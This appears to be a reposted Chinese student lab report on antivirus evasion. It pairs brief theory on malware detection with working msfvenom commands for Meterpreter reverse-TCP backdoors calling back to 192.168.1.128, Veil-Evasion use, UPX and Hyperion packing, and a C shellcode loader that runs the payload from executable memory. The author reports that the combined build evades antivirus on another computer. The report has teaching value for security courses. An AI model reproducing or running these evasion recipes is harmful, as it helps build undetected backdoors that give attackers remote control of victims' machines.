Exp3 免杀原理与实践

一、实验原理

(一)恶意软件检测机制

1.基于特征码的检测

“特征码”是一段数据,杀毒软件可以根据这段数据,判断某个文件是否含有恶意代码。也就是说“特征码”可以理解为此文件含恶意代码的标志,检测到了“特征码”就可以把此文件当做恶意文件处理。

2.启发式恶意软件检测

对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。

优点:

    • 可以检测0-day恶意软件
    • 具有一定通用性

缺点:

    • 实时监控系统行为,开销稍多
    • 没有基于特征码的精确度高

3.基于行为的恶意软件机制

从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

(二)免杀技术(Evading AV)综述

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

二、实验过程

(一)正确使用msf编码器

1.将实验二中生成的后门文件上传到VirusTotal和Virscan两个网站进行扫描,查看有多少杀毒软件可以成功检测出恶意代码。

在VirusTotal上的扫描结果如下图所示:

 Exp3 免杀原理与实践_第1张图片

在VirSCAN上扫描结果如下图所示:

Exp3 免杀原理与实践_第2张图片

 2.使用msf编码

kali端输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.128 LPORT=4312 -f exe > backdoor1.exe ,结果如下图

Exp3 免杀原理与实践_第3张图片

参数说明:

-p 指定payload
-e 编码器
-b 在生成的程序中避免出现的值
-f 生成的文件格式
-i 编码次数
-LHOST&LPORT 攻击者的ip和端口

在VirusTotal上检测:(结果如下)

Exp3 免杀原理与实践_第4张图片

尝试使用加入-i参数多次迭代(-i后面的数字表示迭代次数),输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.128 LPORT=4312 -f exe > backdoor2.exe ,结果如下:

 Exp3 免杀原理与实践_第5张图片

在VirusTotal上检测:

 Exp3 免杀原理与实践_第6张图片

(二)msfvenom生成如jar之类的其他文件

1.生成jar文件

输入命令 msfvenom -p java/meterpreter/reverse_tcp msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.1.128 LPORT=4312 x> 20174312_backdoor.jar 

在VirusTotal上检测:

Exp3 免杀原理与实践_第7张图片

2.生成php文件

输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4312 x> 4312_backdoor.php 

Exp3 免杀原理与实践_第8张图片

在VirusTotal上检测:

Exp3 免杀原理与实践_第9张图片

(三)veil的安装和使用

1.veil的安装

veil是一个免杀平台,在kali软件库中有,但是默认没装。需要自行安装。

参考同学博客,找到以下方法安装veil。(我使用的是阿里云的kali源)。

更改源:输入 sudo vi /etc/apt/sources.list ,打开此文件编辑,在后面加上阿里云源

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 

 安装veil:输入以下两个命令

sudo apt-get update
sudo apt-get install -y veil-evasion

输入 veil ,并选择yes

Exp3 免杀原理与实践_第10张图片

之后几乎都是选next,直到报错:

Exp3 免杀原理与实践_第11张图片

解决办法:将/var/lib/veil/wine/drive_c/Program Files (x86)下的AutoIt3文件夹拷贝到/var/lib/veil/wine/drive_c/Program Files下

在终端中输入veil可以成功运行。

2.veil的使用

输入 use evasion ,进入veil-evasion

Exp3 免杀原理与实践_第12张图片

输入 use c/meterpreter/rev_tcp.py ,进入配置界面(注意红框内容,后面会有对比):

Exp3 免杀原理与实践_第13张图片

设置ip地址和端口号(此处的ip地址为kali的ip地址):

set LHOST 192.168.1.128
set LPORT 4312

查看红框内变化,说明设置成功:

Exp3 免杀原理与实践_第14张图片

输入 generate 生成文件,接着输入你想要的文件名(此处出现没有权限的问题,详情见实验总结里的问题总结),并且可以看到文件保存路径:

Exp3 免杀原理与实践_第15张图片

 在VirusTotal上检测:

Exp3 免杀原理与实践_第16张图片

(四)加壳工具

1.理解加壳

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
  • MSF的编码器使用类似方法,对shellcode进行再编码。
  • 从技术上分壳分为:
    • 压缩壳
      • 减少应用体积,如ASPack,UPX
    • 加密壳
      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机
      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

2.使用加壳工具

(1)使用UPX加壳:

输入 cd /var/lib/veil/output/compiled/,进入veil平台生成文件【veil_4312.exe】所在目录

输入 upx veil_4312.exe -o upx_4312.exe ,将veil平台生成的文件加壳:

Exp3 免杀原理与实践_第17张图片

使用实验二的方法,检查是否能成功反弹连接:(成功)

Exp3 免杀原理与实践_第18张图片

在VirusTotal上检测:

Exp3 免杀原理与实践_第19张图片

(2)使用Hyperion:

输入 cd /var/lib/veil/output/compiled/ ,进入veil平台生成文件【veil_4312.exe】所在目录

输入 cp veil_4312.exe /usr/share/windows-resources/hyperion/veril_4312.exe ,将要加壳的文件拷贝到目录 /usr/share/windows-resources/hyperion下

输入 cd /usr/share/windows-resources/hyperion/ ,进入hyperion.exe所在的文件夹

输入 sudo wine hyperion.exe -v veril_4312.exe hyperion_4312.exe ,对文件加壳

Exp3 免杀原理与实践_第20张图片

 注:如果第四步不加sudo可能出现如下图所示错误

Exp3 免杀原理与实践_第21张图片

经测试可反弹连接到kali。(有被360检测出来)

在virustotal上检测:

Exp3 免杀原理与实践_第22张图片

(五)使用C + shellcode编程

输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4312 -f c ,获得一段shellcode

Exp3 免杀原理与实践_第23张图片

创建后缀名为.c的文件(此次实验中创建的为3_4312.c),将已生成的shellcode加入,并且用C语言写出可以用调用shellcode的函数:

Exp3 免杀原理与实践_第24张图片

 输入 i686-w64-mingw32-g++ 3_4312.c -o 3_4312.exe ,将文件格式转化为exe

 检测:

Exp3 免杀原理与实践_第25张图片

(六)使用其他课堂未介绍方法

使用veil平台,换一种新payload生成后门。输入命令:

veil            //进入veil
use evasion         //使用evasion
list             //查看有什么payload
use 37                   //选择使用哪一个payload,本次选择的是37,之后配置ip地址和端口号
options         //查看
generate             //生成文件

 Exp3 免杀原理与实践_第26张图片

 Exp3 免杀原理与实践_第27张图片

 Exp3 免杀原理与实践_第28张图片

 Exp3 免杀原理与实践_第29张图片

 关于最后无法生成output的原因,我觉得可能是因为选择的payload,用这种语言写的payload在veil里面的插件不全,所以无法生成exe。

 检测后缀名为.rb的文件:

Exp3 免杀原理与实践_第30张图片

(七) 通过组合应用各种技术实现恶意代码免杀

 使用的方式是c+shellcode+加压缩壳+加密壳

1.在kali端输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.128 lport=4312 -f c ,生成一段shellcode

2.写一个.c文件,代码如下:

#include 
#include 
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口

unsigned char buf[] = 
"shellcode";


main()

{
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}

3.将shellcode写入.c文件,并且将文件格式转为exe

4.运行此exe文件,杀软没有报错(检查结果如下图,【2.exe】文件就是含恶意代码的文件),且能成功回连

Exp3 免杀原理与实践_第31张图片

 Exp3 免杀原理与实践_第32张图片

Exp3 免杀原理与实践_第33张图片

(八)用另一电脑实测

 1.在kali上,对实验过程的第七步——“通过组合应用各种技术实现恶意代码免杀”,生成的含恶意代码的名为【2.exe】文件,先使用upx加压缩壳,再使用hyperion加加密壳

Exp3 免杀原理与实践_第34张图片

2.在另一个电脑实测,杀软并未检测到恶意代码

Exp3 免杀原理与实践_第35张图片

三、实验总结

1.实验体会

      总体感觉实验还是比较顺利的,即使遇到了点麻烦。通过此次实验,使我对课堂上学过的知识更加熟悉,对恶意代码的检测有了更深刻了解,对使用生成后门的工具更加熟练。

      还有一个感受就是,恶意代码是防不胜防的。总有办法可以进入你的计算机。

2.开启杀软能绝对防止电脑中恶意代码吗?

 答:不能。因为很多软件的恶意代码检测功能是基于已有的恶意代码库实现的,虽然也有能检测出0-day恶意代码的软件,但是毕竟人类的智慧是无穷的,总能不断创造出不被杀毒软件发现的恶意代码。

3.基础问题回答

(1)杀软是如何检测出恶意代码的?

  答:杀软检测出恶意代码的依据有三种。

         一是基于特征码的检测:如果一个文件含有恶意软件的一段或者多段“标志性”代码,就可以认为此文件是恶意的。

         二是启发式恶意软件检测:如果一个文件做了很像恶意软件才会做的事,比如连接恶意网站、开放端口等,就可以把它当成恶意软件看待。

         三是基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

  答:免杀是指通过对恶意代码的处理,使其不被杀毒软件发现或删除。

(3)免杀的基本方法有哪些?

  答:根据杀软检测恶意代码的原理,有一些免杀的基本方法。

         一是改变特征码:如果杀软检测不到特征码,可能就发现不了此文件是否含恶意代码。具体方式的话是看手里有什么,只有exe文件的话,可以通过加壳,有shellcode的话,可以用encode进行编码或者基于payload重新编译生成可执行文件,有源代码则可以用其他语言进行重写再编译。

         二是改变行为:使杀软察觉不到文件的行为是异常的,从而使其允许运行。具体方式包括改变通讯方式,如尽量使被攻击者反弹连接、使用隧道技术、加密通讯数据,和改变操作模式,如基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

 

你可能感兴趣的:(Exp3 免杀原理与实践)